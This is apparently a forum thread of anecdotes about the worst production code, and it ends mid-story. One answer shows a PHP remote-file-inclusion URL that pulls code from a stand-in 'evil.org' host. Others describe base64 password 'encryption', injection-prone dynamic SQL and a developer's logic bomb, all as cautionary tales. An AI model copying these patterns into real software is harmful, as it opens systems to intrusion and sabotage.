您在生产企业环境中看到的最 EVIL 代码是什么？

The Windows installer.

Once after our client teams reported some weird problems, we noticed that two different versions of the application was pointing to the same database. (while deploying the new system to them, their database was upgraded, but everyone forgot to bring down their old system)

This was a miracle escape..

And since then, we have an automated build and deploy process, thankfully :-)

I don't know if I'd call the code "evil", but we had a developer who would create Object[] arrays instead of writing classes. Everywhere.

I have seen (and posted to thedailywtf) code that will give everyone to have administrator rights in significant part of an application on Tuesdays. I guess the original developer forgot to remove the code after local machine testing.

Similar to what someone else mentioned above:

I worked in a place that had a pseudo-scripting language in the application. It fed into a massive method that had some 30 parameters and a giant Select Case statement.

It was time to add more parameters, but the guy on the team who had to do it realized that there were too many already.

His solution?

He added a single object parameter on the end, so he could pass in anything he wanted and then cast it.

I couldn't get out of that place fast enough.

Combination of all of the following Php 'Features' at once.

1. Register Globals
2. Variable Variables
3. Inclusion of remote files and code via include("http:// ... ");

4. Really Horrific Array/Variable names ( Literal example ):

   foreach( $variablesarry as $variablearry ){
   include( $$variablearry );
   }
   

   ( I literally spent an hour trying to work out how that worked before I realised they wern't the same variable )

5. Include 50 files, which each include 50 files, and stuff is performed linearly/procedurally across all 50 files in conditional and unpredictable ways.

For those who don't know variable variables:

$x = "hello";
$$x = "world";
print $hello # "world" ;

Now consider $x contains a value from your URL ( register globals magic ), so nowhere in your code is it obvious what variable your working with becuase its all determined by the url.

Now consider what happens when the contents of that variable can be a url specified by the websites user. Yes, this may not make sense to you, but it creates a variable named that url, ie:

$http://google.com,

except it cant be directly accessed, you have to use it via the double $ technique above.

Additionally, when its possible for a user to specify a variable on the URL which indicates which file to include, there are nasty tricks like

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

and if that variable turns up in include($include)

and 'evilcode.php' prints its code plaintext, and Php is inappropriately secured, php will just trundle off, download evilcode.php, and execute it as the user of the web-server.

The web-sever will give it all its permissions etc, permiting shell calls, downloading arbitrary binaries and running them, etc etc, until eventually you wonder why you have a box running out of disk space, and one dir has 8GB of pirated movies with italian dubbing, being shared on IRC via a bot.

I'm just thankful I discovered that atrocity before the script running the attack decided to do something really dangerous like harvest extremely confidential information from the more or less unsecured database :|

( I could entertain the dailywtf every day for 6 months with that codebase, I kid you not. Its just a shame I discovered the dailywtf after I escaped that code )

Warning: Long scary post ahead

I've written about one application I've worked on before here and here. To put it simply, my company inherited 130,000 lines of garbage from India. The application was written in C#; it was a teller app, the same kind of software tellers use behind the counter whenever you go to the bank. The app crashed 40-50 times a day, and it simply couldn't be refactored into working code. My company had to re-write the entire app over the course of 12 months.

Why is this application evil? Because the sight of the source code was enough to drive a sane man mad and a mad man sane. The twisted logic used to write this application could have only been inspired by a Lovecraftian nightmare. Unique features of this application included:

• Out of 130,000 lines of code, the entire application contained 5 classes (excluding form files). All of these were public static classes. One class was called Globals.cs, which contained 1000s and 1000s and 1000s of public static variables used to hold the entire state of the application. Those five classes contained 20,000 lines of code total, with the remaining code embedded in the forms.

• You have to wonder, how did the programmers manage to write such a big application without any classes? What did they use to represent their data objects? It turns out the programmers managed to re-invent half of the concepts we all learned about OOP simply by combining ArrayLists, HashTables, and DataTables. We saw a lot of this:

  • ArrayLists of hashtables
  • Hashtables with string keys and DataRow values
  • ArrayLists of DataTables
  • DataRows containing ArrayLists which contained HashTables
  • ArrayLists of DataRows
  • ArrayLists of ArrayLists
  • HashTables with string keys and HashTable values
  • ArrayLists of ArrayLists of HashTables
  • Every other combination of ArrayLists, HashTables, DataTables you can think of.

  Keep in mind, none of the data structures above are strongly typed, so you have to cast whatever mystery object you get out of the list to the correct type. It's amazing what kind of complex, Rube Goldberg-like data structures you can create using just ArrayLists, HashTables, and DataTables.

• To share an example of how to use the object model detailed above, consider Accounts: the original programmer created a seperate HashTable for each concievable property of an account: a HashTable called hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. The keys for all of those hashtables was a “|” separated string. Conceivable keys included “123456|DDA”, “24100|SVG”, “100|LNS”, etc.

• Since the state of the entire application was readily accessible from global variables, the programmers found it unnecessary to pass parameters to methods. I'd say 90% of methods took 0 parameters. Of the few which did, all parameters were passed as strings for convenience, regardless of what the string represented.

• Side-effect free functions did not exist. Every method modified 1 or more variables in the Globals class. Not all side-effects made sense; for example, one of the form validation methods had a mysterious side effect of calculating over and short payments on loans for whatever account was stored Globals.lngAcctNum.

• Although there were lots of forms, there was one form to rule them all: frmMain.cs, which contained a whopping 20,000 lines of code. What did frmMain do? Everything. It looked up accounts, printed receipts, dispensed cash, it did everything.

  Sometimes other forms needed to call methods on frmMain. Rather than factor that code out of the form into a seperate class, why not just invoke the code directly:

  ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
  

• To look up accounts, the programmers did something like this:

  bool blnAccountExists =
  new frmAccounts().GetAccountInfo().blnAccountExists
  

  As bad as it already is creating an invisible form to perform business logic, how do you think the form knew which account to look up? That’s easy: the form could access Globals.lngAcctNum and Globals.strAcctType. (Who doesn't love Hungarian notation?)

• Code-reuse was a synonym for ctrl-c, ctrl-v. I found 200-line methods copy/pasted across 20 forms.

• The application had a bizarre threading model, something I like to call the thread-and-timer model: each form that spawned a thread had a timer on it. Each thread that was spawned kicked off a timer which had a 200 ms delay; once the timer started, it would check to see if the thread had set some magic boolean, then it would abort the thread. The resulting ThreadAbortException was swallowed.

  You'd think you'd only see this pattern once, but I found it in at least 10 different places.

• Speaking of threads, the keyword "lock" never appeared in the application. Threads manipulated global state freely without taking a lock.

• Every method in the application contained a try/catch block. Every exception was logged and swallowed.

• Who needs to switch on enums when switching on strings is just as easy!

• Some genius figured out that you can hook multiple form controls up to the same event handler. How did the programmer handle this?

  private void OperationButton_Click(object sender, EventArgs e)
  {
  Button btn = (Button)sender;
  if (blnModeIsAddMc)
  {
  AddMcOperationKeyPress(btn);
  }
  else
  {
  string strToBeAppendedLater = string.Empty;
  if (btn.Name != "btnBS")
  {
  UpdateText();
  }
  if (txtEdit.Text.Trim() != "Error")
  {
  SaveFormState();
  }
  switch (btn.Name)
  {
  case "btnC":
  ResetValues();
  break;
  case "btnCE":
  txtEdit.Text = "0";
  break;
  case "btnBS":
  if (!blnStartedNew)
  {
  string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
  DisplayValue((EditText == string.Empty) ? "0" : EditText);
  }
  break;
  case "btnPercent":
  blnAfterOp = true;
  if (GetValueDecimal(txtEdit.Text, out decCurrValue))
  {
  AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
  decCurrValue = decResultValue * decCurrValue / intFormatFactor;
  DisplayValue(GetValueString(decCurrValue));
  AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
  strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
  + strOpPressed.PadRight(3);
  if (arrLstTapeHist.Count == 0)
  {
  arrLstTapeHist.Add(strToBeAppendedLater);
  }
  blnEqualOccurred = false;
  blnStartedNew = true;
  }
  break;
  case "btnAdd":
  case "btnSubtract":
  case "btnMultiply":
  case "btnDivide":
  blnAfterOp = true;
  if (txtEdit.Text.Trim() == "Error")
  {
  btnC.PerformClick();
  return;
  }
  if (blnNumPressed || blnEqualOccurred)
  {
  if (GetValueDecimal(txtEdit.Text, out decCurrValue))
  {
  if (Operation())
  {
  AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
  DisplayValue(GetValueString(decResultValue));
  }
  else
  {
  AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
  DisplayValue("Error");
  }
  strOpPressed = btn.Text;
  blnEqualOccurred = false;
  blnNumPressed = false;
  }
  }
  else
  {
  strOpPressed = btn.Text;
  AddToTape(GetValueString(0), (string)btn.Text, false, false);
  }
  if (txtEdit.Text.Trim() == "Error")
  {
  AddToTape("Error", string.Empty, true, true);
  btnC.PerformClick();
  txtEdit.Text = "Error";
  }
  break;
  case "btnEqual":
  blnAfterOp = false;
  if (strOpPressed != string.Empty || strPrevOp != string.Empty)
  {
  if (GetValueDecimal(txtEdit.Text, out decCurrValue))
  {
  if (OperationEqual())
  {
  DisplayValue(GetValueString(decResultValue));
  }
  else
  {
  DisplayValue("Error");
  }
  if (!blnEqualOccurred)
  {
  strPrevOp = strOpPressed;
  decHistValue = decCurrValue;
  blnNumPressed = false;
  blnEqualOccurred = true;
  }
  strOpPressed = string.Empty;
  }
  }
  break;
  case "btnSign":
  GetValueDecimal(txtEdit.Text, out decCurrValue);
  DisplayValue(GetValueString(-1 * decCurrValue));
  break;
  }
  }
  }
  

• The same genius also discovered the glorious ternary operator. Here are some code samples:

  frmTranHist.cs [line 812]:

  strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
  : chkDebits.Checked ? "D"
  : chkCredits.Checked ? "C"
  : "N";
  

  frmTellTransHist.cs [line 961]:

  if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
  

  frmMain.TellCash.cs [line 727]:

  if (Validations(parPostMode == "ADD" ? true : false))
  

• Here's a code snippet which demonstrates the typical misuse of the StringBuilder. Note how the programmer concats a string in a loop, then appends the resulting string to the StringBuilder:

  private string CreateGridString()
  {
  string strTemp = string.Empty;
  StringBuilder strBuild = new StringBuilder();
  foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
  {
  strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
  strTemp += "  ";
  strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
  strTemp += "  ";
  strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
  strTemp += "  ";
  strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
  strTemp += "  ";
  strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
  strTemp += "  ";
  strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
  strBuild.AppendLine(strTemp);
  }
  strCreateGridString = strBuild.ToString();
  return strCreateGridString;//strBuild.ToString();
  }
  

• No primary keys, indexes, or foreign key constraints existed on tables, nearly all fields were of type varchar(50), and 100% of fields were nullable. Interestingly, bit fields were not used to store boolean data; instead a char(1) field was used, and the characters 'Y' and 'N' used to represent true and false respectively.

  • Speaking of the database, here's a representative example of a stored procedure:

    ALTER PROCEDURE [dbo].[Get_TransHist]
    (
    @TellerID   int = null,
    @CashDrawer int = null,
    @AcctNum    bigint = null,
    @StartDate  datetime = null,
    @EndDate    datetime = null,
    @StartTranAmt     decimal(18,2) = null,
    @EndTranAmt decimal(18,2) = null,
    @TranCode   int = null,
    @TranType   int = null
    )
    AS
    declare @WhereCond Varchar(1000)
    declare @strQuery Varchar(2000)
    Set @WhereCond = ' '
    Set @strQuery = ' '
    If not @TellerID is null
    Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
    If not @CashDrawer is null
    Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
    If not @AcctNum is null
    Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
    If not @StartDate is null
    Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
    If not @EndDate is null
    Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
    If not @TranCode is null
    Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
    If not @EndTranAmt is null
    Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
    If not @StartTranAmt is null
    Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
    If not (@TranType is null or @TranType = -1)
    Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
    --Get the Teller Transaction Records according to the filters
    Set @strQuery = 'SELECT
    TT.TranAmt as [Transaction Amount],
    TT.TranCode as [Transaction Code],
    RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
    TT.AcctNbr as [Account Number],
    TT.TranID as [Transaction Number],
    Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
    Convert(varchar,TT.EffDate,101) as [Effective Date],
    Convert(varchar,TT.PostDate,101) as [Post Date],
    Convert(varchar,TT.ActivityDateTime,108) as [Time],
    TT.BatchID,
    TT.ItemID,
    isnull(TT.DocumentID, 0) as DocumentID,
    TT.TellerName,
    TT.CDId,
    TT.ChkNbr,
    RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
    (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
    DispensedYN
    FROM TellerTrans TT WITH (NOLOCK)
    LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
    WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'
    Exec (@strQuery)
    

With all that said, the single biggest problem with this 130,000 line application this: no unit tests.

Yes, I have sent this story to TheDailyWTF, and then I quit my job.

I remember having to setup IIS 3 to run Perl CGI scripts (yes, that was a looong time ago). The official recommendation at that time was to put Perl.exe in cgi-bin. It worked, but it also gave everyone access to a pretty powerful scripting engine!

My colleague likes to recall that ASP.NET application which used a public static database connection for all database work.

Yes, one connection for all requests. And no, there was no locking done either.

Really evil was this piece of brilliant delphi code:

type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;


var
myclass : TMyClass;




procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;

It worked great if there was only one instance of a class. But unfortunately I had to use an other instance and that created lots of interesting bugs.

When I found this jewel, I can't remember if I fainted or screamed, probably both.

In a system which took credit card payments we used to store the full credit card number along with name, expiration date etc.

Turns out this is illegal, which is ironic given the we were writing the program for the Justice Department at the time.

I've seen a password encryption function like this

function EncryptPassword($password)
{
return base64_encode($password);
}

I don't know if this is "evil" so much as misguided (I recently posted it on The Old New Thing):

I knew one guy who loved to store information as delimited strings. He was familiar with the concept of arrays, as shown when he used arrays of delimited strings, but the light bulb never lit up.

I remember seeing a login handler that took a post request, and redirected to a GET with the user name and password passed in as parameters. This was for an "enterprise class" medical system.

I noticed this while checking some logs - I was very tempted to send the CEO his password.

I think that it was a program which loaded a loop into the general purpose registers of a pdp-10 and then executed the code in those registers.

You could do that on a pdp-10. That doesn't mean that you should.

EDIT: at least this is to the best of my (sometimes quite shabby) recollection.

Base 36 encoding to store ints in strings.

I guess the theory goes somewhat along the lines of:

• Hexadecimal is used to represent numbers
• Hexadecimal doesnt use letters beyond F, meaning G-Z are wasted
• Waste is bad

At this moment I am working with a database that is storing the days of the week that an event can happen on as a 7-bit bitfield (0-127), stored in the database as a 2-character string ranging from '0' to '3J'.

Instead of writing a Windows service for a server process that needed to run constantly one of our "architects" wrote a console app and used the task scheduler to run it every 60 seconds.

Keep in mind this is in .NET where services are very easy to create.

--

Also, at the same place a console app was used to host a .NET remoting service, so they had to start the console app and lock a session to keep it running every time the server was rebooted.

--

At the last place I worked one of the architects had a single C# source code file with over 100 classes that was something like 250K in size.

Any RFC 3514-compliant program which sets the evil bit.

This was the error handling routine in a piece of commercial code:

/* FIXME! */
while (TRUE)
;

I was supposed to find out why "the app keeps locking up".

I saw code in an ASP.NET MVC site from a guy who had only done web forms before (and is a renowned copy/paster!) that stuck a client side click event on an <a> tag that called a javascript method that did a document.location.

I tried to explain that a href on the <a> tag would do the same!!!

32 source code files with more then 10K lines of code each. Each contained one class. Each class contained one method that did "everything"

That was real nightmare for debuging that code before I had to refactor that.

We had an application that loaded all of it's global state in an xml file. No problem with that, except that the developer had created a new form of recursion.

<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>

Then comes the fun part. When the application loads, it runs through the list of properties and adds them to a global (flat) list, along with incrementing a mystery counter. The mystery counter is named something totally irrelevant and is used in mystery calculations:

List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc

And then you get functions like

calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}

edit: clarification - Took me a long time to figure out that he was counting the depth of the recursion, because at level 6 or 7 the properties changed meaning, so he was using the counter to split his flat set into 2 sets of different types, kind of like having a list of STATE, STATE, STATE, CITY, CITY, CITY and checking if the index > counter to see if your name is a city or state)

At an earlier workplace, we inherited a legacy project, which partially had been outsorced earlier. The main app was Java, the outsourced part was a native C library. Once I had a look at the C source files. I listed the contents of the directory. There were several source files over 200K in size. The biggest C file was 600 Kbytes.

Thank God I never had to actually touch them :-)

Some guy wrote a batch program to generate random numbers based on die sides on my computer, thought i'd share it.

@echo off


set SIDES=6


:start
set BUF=%random%
if %BUF% GTR %SIDES% (
goto start
)


echo %BUF%
pause


goto start

Does the job but guess how slow it is...

I've worked with similar things written by Indian devs. Giant main form, global vars etc. Luckily, my boss after a lot of hard work was able to decrease this mess greatly. But still, I hated work with this app. Unfortunately, it was math app and some of these indian guys was good at maths, so we had to fix app, not rewrite it.

For me, worst part was unbelievable slowness of Visual Studio + ReSharper on form with 20000 lines. If you turn ReSharper off, it is manageable, but you can't refactor this shit so fast then.

Maybe not evil, but certainly rather, um... misguided.

I once had to rewrite a "natural language parser" that was implemented as a single 5,000 line if...then statement.

as in...

if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...

Here's some evil code: http://code.google.com/p/google-caja/wiki/AttackVectors

I was given a set of programs to advance while colleagues were abroad at a customer (installing said programs). One key library came up in every program, and trying to figure out the code, I realised that there were tiny differences from one program to the next. In a common library.

Realising this, I ran a text comparison of all copies. Out of 16, I think there were about 9 unique ones. I threw a bit of a fit.

The boss intervened and had the colleagues collate a version that was seemingly universal. They sent the code by e-mail. Unknown to me, there were strings with unprintable characters in there, and some mixed encodings. The e-mail garbled it pretty bad.

The unprintable characters were used to send out data (all strings!) from a server to a client. All strings were thus separated by the 0x03 character on the server-side, and re-assembled client-side in C# using the Split function.

The somwehat sane way would have been to do:

someVariable.Split(Convert.ToChar(0x03);

The saner and friendly way would have been to use a constant:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

The EVIL way was what my colleagues chose: use whatever "prints" for 0x03 in Visual Studio and put that between quotes:

someVariable.Split('/*unprintable character*/');

Furthermore, in this library (and all the related programs), not a single variable was local (I checked!). Functions were designed to either recuperate the same variables once it was deemed safe to waste them, or to create new ones which would live on for all the duration of the process. I printed out several pages and colour coded them. Yellow meant "global, never changed by another function", Red meant "global, changed by several". Green would have been "local", but there was none.

Oh, did I mention control version? Because of course there was none.

ADD ON: I just remembered a function I discovered, not long ago.

Its purpose was to go through an array of arrays of intergers, and set each first and last item to 0. It went like this (not actual code, from memory, and more C#-esque):

FixAllArrays()
{
for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);


//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}


if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}

Of course, the point was that every sub-array had to get this done, both operations, on all items. I'm just not sure how a programmer can decide on something like this.

In the main project header file, from an old-hand COBOL programmer, who was inexplicably writing a compiler in C:

int i, j, k;

"So you won't get a compiler error if you forget to declare your loop variables."

This article How to Write Unmaintainable Code covers some of the most brilliant techniques known to man. Some of my favorite ones are:

New Uses For Names For Baby

Buy a copy of a baby naming book and you'll never be at a loss for variable names. Fred is a wonderful name, and easy to type. If you're looking for easy-to-type variable names, try adsf or aoeu if you type with a DSK keyboard.

Creative Miss-spelling

If you must use descriptive variable and function names, misspell them. By misspelling in some function and variable names, and spelling it correctly in others (such as SetPintleOpening SetPintalClosing) we effectively negate the use of grep or IDE search techniques. It works amazingly well. Add an international flavor by spelling tory or tori in different theatres/theaters.

Be Abstract

In naming functions and variables, make heavy use of abstract words like it, everything, data, handle, stuff, do, routine, perform and the digits e.g. routineX48, PerformDataFunction, DoIt, HandleStuff and do_args_method.

CapiTaliSaTion

Randomly capitalize the first letter of a syllable in the middle of a word. For example ComputeRasterHistoGram().

Lower Case l Looks a Lot Like the Digit 1

Use lower case l to indicate long constants. e.g. 10l is more likely to be mistaken for 101 that 10L is. Ban any fonts that clearly disambiguate uvw wW gq9 2z 5s il17|!j oO08 `'" ;,. m nn rn {[()]}. Be creative.

Recycle Your Variables

Wherever scope rules permit, reuse existing unrelated variable names. Similarly, use the same temporary variable for two unrelated purposes (purporting to save stack slots). For a fiendish variant, morph the variable, for example, assign a value to a variable at the top of a very long method, and then somewhere in the middle, change the meaning of the variable in a subtle way, such as converting it from a 0-based coordinate to a 1-based coordinate. Be certain not to document this change in meaning.

Cd wrttn wtht vwls s mch trsr

When using abbreviations inside variable or method names, break the boredom with several variants for the same word, and even spell it out longhand once in while. This helps defeat those lazy bums who use text search to understand only some aspect of your program. Consider variant spellings as a variant on the ploy, e.g. mixing International colour, with American color and dude-speak kulerz. If you spell out names in full, there is only one possible way to spell each name. These are too easy for the maintenance programmer to remember. Because there are so many different ways to abbreviate a word, with abbreviations, you can have several different variables that all have the same apparent purpose. As an added bonus, the maintenance programmer might not even notice they are separate variables.

Obscure film references

Use constant names like LancelotsFavouriteColour instead of blue and assign it hex value of $0204FB. The color looks identical to pure blue on the screen, and a maintenance programmer would have to work out 0204FB (or use some graphic tool) to know what it looks like. Only someone intimately familiar with Monty Python and the Holy Grail would know that Lancelot's favorite color was blue. If a maintenance programmer can't quote entire Monty Python movies from memory, he or she has no business being a programmer.

Document the obvious

Pepper the code with comments like /* add 1 to i */ however, never document wooly stuff like the overall purpose of the package or method.

Document How Not Why

Document only the details of what a program does, not what it is attempting to accomplish. That way, if there is a bug, the fixer will have no clue what the code should be doing.

Side Effects

In C, functions are supposed to be idempotent, (without side effects). I hope that hint is sufficient.

Use Octal

Smuggle octal literals into a list of decimal numbers like this:

array = new int []
{
111,
120,
013,
121,
};

Extended ASCII

Extended ASCII characters are perfectly valid as variable names, including ß, Ð, and ñ characters. They are almost impossible to type without copying/pasting in a simple text editor.

Names From Other Languages

Use foreign language dictionaries as a source for variable names. For example, use the German punkt for point. Maintenance coders, without your firm grasp of German, will enjoy the multicultural experience of deciphering the meaning.

Names From Mathematics

Choose variable names that masquerade as mathematical operators, e.g.:

openParen = (slash + asterix) / equals;

Code That Masquerades As Comments and Vice Versa

Include sections of code that is commented out but at first glance does not appear to be.

for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3];   * loop is unrolled
total += array[j+4];   * for greater speed.
total += array[j+5];   */
total += array[j+6 ];
total += array[j+7 ];
}

Without the colour coding would you notice that three lines of code are commented out?

Arbitrary Names That Masquerade as Keywords

When documenting, and you need an arbitrary name to represent a filename use "file ". Never use an obviously arbitrary name like "Charlie.dat" or "Frodo.txt". In general, in your examples, use arbitrary names that sound as much like reserved keywords as possible. For example, good names for parameters or variables would be"bank", "blank", "class", "const ", "constant", "input", "key", "keyword", "kind", "output", "parameter" "parm", "system", "type", "value", "var" and "variable ". If you use actual reserved words for your arbitrary names, which would be rejected by your command processor or compiler, so much the better. If you do this well, the users will be hopelessly confused between reserved keywords and arbitrary names in your example, but you can look innocent, claiming you did it to help them associate the appropriate purpose with each variable.

Code Names Must Not Match Screen Names

Choose your variable names to have absolutely no relation to the labels used when such variables are displayed on the screen. E.g. on the screen label the field "Postal Code" but in the code call the associated variable "zip".

Choosing The Best Overload Operator

In C++, overload +,-,*,/ to do things totally unrelated to addition, subtraction etc. After all, if the Stroustroup can use the shift operator to do I/O, why should you not be equally creative? If you overload +, make sure you do it in a way that i = i + 5; has a totally different meaning from i += 5; Here is an example of elevating overloading operator obfuscation to a high art. Overload the '!' operator for a class, but have the overload have nothing to do with inverting or negating. Make it return an integer. Then, in order to get a logical value for it, you must use '! !'. However, this inverts the logic, so [drum roll] you must use '! ! !'. Don't confuse the ! operator, which returns a boolean 0 or 1, with the ~ bitwise logical negation operator.

Exceptions

I am going to let you in on a little-known coding secret. Exceptions are a pain in the behind. Properly-written code never fails, so exceptions are actually unnecessary. Don't waste time on them. Subclassing exceptions is for incompetents who know their code will fail. You can greatly simplify your program by having only a single try/catch in the entire application (in main) that calls System.exit(). Just stick a perfectly standard set of throws on every method header whether they could actually throw any exceptions or not.

Magic Matrix Locations

Use special values in certain matrix locations as flags. A good choice is the [3][0] element in a transformation matrix used with a homogeneous coordinate system.

Magic Array Slots revisited

If you need several variables of a given type, just define an array of them, then access them by number. Pick a numbering convention that only you know and don't document it. And don't bother to define #define constants for the indexes. Everybody should just know that the global variable widget[15] is the cancel button. This is just an up-to-date variant on using absolute numerical addresses in assembler code.

Never Beautify

Never use an automated source code tidier (beautifier) to keep your code aligned. Lobby to have them banned them from your company on the grounds they create false deltas in PVCS/CVS (version control tracking) or that every programmer should have his own indenting style held forever sacrosanct for any module he wrote. Insist that other programmers observe those idiosyncratic conventions in "his " modules. Banning beautifiers is quite easy, even though they save the millions of keystrokes doing manual alignment and days wasted misinterpreting poorly aligned code. Just insist that everyone use the same tidied format, not just for storing in the common repository, but also while they are editing. This starts an RWAR and the boss, to keep the peace, will ban automated tidying. Without automated tidying, you are now free to accidentally misalign the code to give the optical illusion that bodies of loops and ifs are longer or shorter than they really are, or that else clauses match a different if than they really do. e.g.

if(a)
if(b) x=y;
else x=z;

Testing is for cowards

A brave coder will bypass that step. Too many programmers are afraid of their boss, afraid of losing their job, afraid of customer hate mail and afraid of being sued. This fear paralyzes action, and reduces productivity. Studies have shown that eliminating the test phase means that managers can set ship dates well in advance, an obvious aid in the planning process. With fear gone, innovation and experimentation can blossom. The role of the programmer is to produce code, and debugging can be done by a cooperative effort on the part of the help desk and the legacy maintenance group.

If we have full confidence in our coding ability, then testing will be unnecessary. If we look at this logically, then any fool can recognise that testing does not even attempt to solve a technical problem, rather, this is a problem of emotional confidence. A more efficient solution to this lack of confidence issue is to eliminate testing completely and send our programmers to self-esteem courses. After all, if we choose to do testing, then we have to test every program change, but we only need to send the programmers to one course on building self-esteem. The cost benefit is as amazing as it is obvious.

Reverse the Usual True False Convention

Reverse the usual definitions of true and false. Sounds very obvious but it works great. You can hide:

#define TRUE 0
#define FALSE 1

somewhere deep in the code so that it is dredged up from the bowels of the program from some file that noone ever looks at anymore. Then force the program to do comparisons like:

if ( var == TRUE )
if ( var != FALSE )

someone is bound to "correct" the apparent redundancy, and use var elsewhere in the usual way:

if ( var )

Another technique is to make TRUE and FALSE have the same value, though most would consider that out and out cheating. Using values 1 and 2 or -1 and 0 is a more subtle way to trip people up and still look respectable. You can use this same technique in Java by defining a static constant called TRUE. Programmers might be more suspicious you are up to no good since there is a built-in literal true in Java.

Exploit Schizophrenia

Java is schizophrenic about array declarations. You can do them the old C, way String x[], (which uses mixed pre-postfix notation) or the new way String[] x, which uses pure prefix notation. If you want to really confuse people, mix the notationse.g.

byte[ ] rowvector, colvector , matrix[ ];

which is equivalent to:

byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;

From an Oracle package in our companies commission calc app (before I rebuilt it from scratch)

CREATE OR REPLACE PACKAGE BODY Const AS
FUNCTION Basisprov_offen
RETURN INT
IS
BEGIN
RETURN 4;
END;


FUNCTION Basisprov_offen_s
RETURN VARCHAR
IS
BEGIN
RETURN Const.Basisprov_offen || '';
END;




/* ... a lot more creepy stuff ... */


END Const;

And in a different package for the same app

...
INSERT INTO Texpkorr
SELECT
Stammnummer,
Nummer,
Artikelnummer,
GREATEST ( 0, Texp.Kommanditbetrag - NVL ( 0, 0 )) Kommanditbetrag,
GREATEST ( 0, Texp.Bareinlagebetrag - NVL ( 0, 0 )) Bareinlagebetrag,
GREATEST ( 0, Texp.Provisionohneagio - NVL ( 0, 0)) Provisionohneagio,
GREATEST ( 0, Texp.Provisionmitagio - NVL ( 0, 0 )) Provisionmitagio,
GREATEST ( 0, Texp.Agionachlass - NVL ( 0, 0 )) Agionachlass,
Exportart
FROM Provaltbv, Texp
...

SQL queries right there in javascript in an ASP application. Can't get any dirtier...

A guy I used to work with wrote an MS Access app that linked into about 10 other access databases that handled payroll for a Fortune 500 company. At last check, there where about 70,000 employees there and it was still in use...

Very little error checking in the code, nasty to look at, worse to troubleshoot. We kept on maxing out the access databases so we had to clean them out every couple of months.

Yes, I know it's not a code segment. Just the 3 facts of MS Access, payroll and Fortune 500 constitutes it as evil. Very evil. I wish I was kidding.

A little evil...someone I know wrote into the main internal company web app, a daily check to see if he has logged into the system in the past 10 days. If there's no record of him logged in, it disables the app for everyone in the company.

He wrote the piece once he heard rumors of layoffs, and if he was going down, the company would have to suffer.

The only reason I knew about it, is that he took a 2 week vacation & I called him when the site crapped out. He told me to log on with his username/password...and all was fine again.

Of course..months later we all got laid off.

I had the deep misfortune of being involved in finding a rather insane behavior in a semi-custom database high-availability solution.

The core bits were unremarkable. Red Hat Enterprise Linux, MySQL, DRBD, and the Linux-HA stuff. The configuration, however, was maintained by a completely custom puppet-like system (unsurprisingly, there are many other examples of insanity resulting from this system).

